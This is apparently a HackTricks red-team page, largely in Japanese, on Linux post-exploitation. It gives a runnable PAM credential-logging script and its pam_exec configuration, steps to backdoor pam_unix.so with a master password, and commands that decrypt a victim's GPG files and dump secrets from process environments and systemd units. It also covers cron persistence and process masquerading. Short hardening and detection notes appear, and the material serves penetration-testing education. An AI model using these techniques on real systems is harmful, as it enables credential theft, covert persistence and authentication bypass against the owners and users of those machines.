Linux Post-Exploitation

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Sniffing Logon Passwords with PAM

PAMモジュールを設定して、各ユーザーがログイン時に使用するパスワードを記録してみましょう。PAMが何か分からない場合は次を参照してください:

PAM - Pluggable Authentication Modules

For further details check the original post. 以下は要約です:

Technique Overview: Pluggable Authentication Modules (PAM) は Unix系システムの認証管理に柔軟性を提供します。ログイン処理をカスタマイズしてセキュリティを強化できますが、誤用されるとリスクを招きます。本要約は PAM を用いてログイン資格情報を取得する手法と、その緩和策を概説します。

Capturing Credentials:

  • toomanysecrets.sh という bash スクリプトを作成し、ログイン試行を記録します。日時、ユーザー名 ($PAM_USER)、パスワード（stdin経由）、リモートホストIP ($PAM_RHOST) を /var/log/toomanysecrets.log に記録します。
  • スクリプトに実行権限を与え、pam_exec.so モジュールを使って PAM の設定 (common-auth) に統合します。オプションは静かに実行し、認証トークンをスクリプトに渡すように設定します。
  • この手法は、乗っ取られた Linux ホストが資格情報を目立たずに記録するために悪用され得ることを示しています。
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

詳細はoriginal post。これは要約です:

The Pluggable Authentication Module (PAM) は、Linux 上でユーザ認証に使われるシステムです。主に次の3つの概念で動作します: username, password, service。各 service の設定ファイルは /etc/pam.d/ ディレクトリにあり、共有ライブラリが認証処理を行います。

Objective: PAM を修正して、実際のユーザパスワードをバイパスして特定のパスワードで認証できるようにすること。これは主に common-auth ファイルで使用され、ほとんどのサービスでパスワード検証に含まれる pam_unix.so 共有ライブラリに焦点を当てています。

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • ユーザのパスワードを確認する行が pam_unix.so を呼び出しています。
  1. Modify Source Code:
  • 予め定義したパスワードが使われている場合にアクセスを許可する条件文を pam_unix_auth.c ソースファイルに追加し、それ以外は通常の認証処理を続けます。
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • 予め定義したパスワードで各種サービス (login, ssh, sudo, su, screensaver) へのアクセスが許可され、通常の認証プロセスは影響を受けません。

Tip

このプロセスは https://github.com/zephrax/linux-pam-backdoor で自動化できます

Decrypting GPG loot via homedir relocation

暗号化された .gpg ファイルとユーザの ~/.gnupg フォルダ（pubring、private-keys、trustdb）を見つけたが、GnuPG homedir のパーミッション／ロックのために復号できない場合、keyring を書き込み可能な場所にコピーしてそれを GPG ホームとして使用します。

これをしないとよく見るエラー例: “unsafe ownership on homedir”, “failed to create temporary file”, または “decryption failed: No secret key”（GPG が元の homedir を読み書きできないため）。

Workflow:

# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

If the secret key material is present in private-keys-v1.d, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).

プロセス環境からの認証情報収集（コンテナを含む）

サービス内でコード実行を得ると、プロセスはしばしば機密の環境変数を継承します。これらは横移動のための金鉱です。

Quick wins

  • 現在のプロセスの環境変数を表示: env または printenv
  • 別プロセスの環境変数をダンプ: tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'
  • tr/sed が使えない場合は strings -z /proc/<PID>/environ を追加
  • コンテナ内では PID 1 も確認: tr '\0' '\n' </proc/1/environ

What to look for

  • アプリのシークレットや管理者クレデンシャル（例: Grafana は GF_SECURITY_ADMIN_USER, GF_SECURITY_ADMIN_PASSWORD を設定）
  • API keys, DB URIs, SMTP creds, OAuth secrets
  • プロキシや TLS 上書き設定: http_proxy, https_proxy, SSL_CERT_FILE, SSL_CERT_DIR

Notes

  • 多くのオーケストレーションでは機密設定を環境変数で渡します; これらは子プロセスに継承され、プロセスコンテキスト内で起動した任意のシェルから参照可能になります。
  • 場合によっては、これらのクレデンシャルがシステム全体で使い回されていることがあり（例: ホストのSSHで同じユーザー名/パスワードが有効）、容易にピボットが可能になります。

Systemd-stored credentials in unit files (Environment=)

Services launched by systemd may bake credentials into unit files as Environment= entries. Enumerate and extract them:

# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root

Operational artifacts are often leak passwords (e.g., backup scripts that call zip -P <pwd>). Those values are frequently reused in internal web UIs (Basic-Auth) or other services.

ハードニング

  • シークレットを専用のシークレットストアに移動する（systemd-ask-password、権限を固定した EnvironmentFile、または外部の secret managers）
  • unit ファイルに creds を埋め込むのは避ける。代わりに root-only readable な drop-in ファイルを使い、バージョン管理からは削除する
  • テスト中に発見された leaked パスワードはローテーションする

Cron-based persistence with loopback mutex

  • インプラントを複数の書き込み可能なパス（/tmp、/var/tmp、/dev/shm、/run/lock）にコピーし、*/5 * * * * /tmp/<bin> のような cron エントリをインストールして、他で削除されても再起動するようにする。
  • 固定の loopback ポート（例: 127.0.0.1:51125 や 127.0.0.1:52225）にバインドし、bind() が失敗したら終了することで single-instance 実行を強制する。ss -lntp | grep -E '51125|52225' で mutex リスナーが明らかになる。
  • 運用者は定期的に dropper 名（例: init_stop）を含む cmdline を持つプロセスを一斉に kill することがあるため、解析の際にそれらの名前を再利用すると衝突する可能性がある。ユニークなファイル名を選ぶこと。

Process masquerading via prctl + argv overwrite

  • prctl(PR_SET_NAME, "<label>")（15-byte comm 制限）で短いプロセス名を設定する。一般的に init にすることで /proc/<pid>/status や GUI に無害なラベルが表示される。
  • /proc/self/cmdline の長さと argv[0] ポインタを読み取った後、メモリ上の argv[0] バッファを上書きし、NUL でパディングして /proc/<pid>/cmdline と ps でも偽のラベルが表示されるようにする。
  • /proc/<pid>/status の Name: を実際の実行ファイルパスと比較し、cmdline が短い/空のプロセスが所有する loopback mutex リスナーを探すことで検出する。

References

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする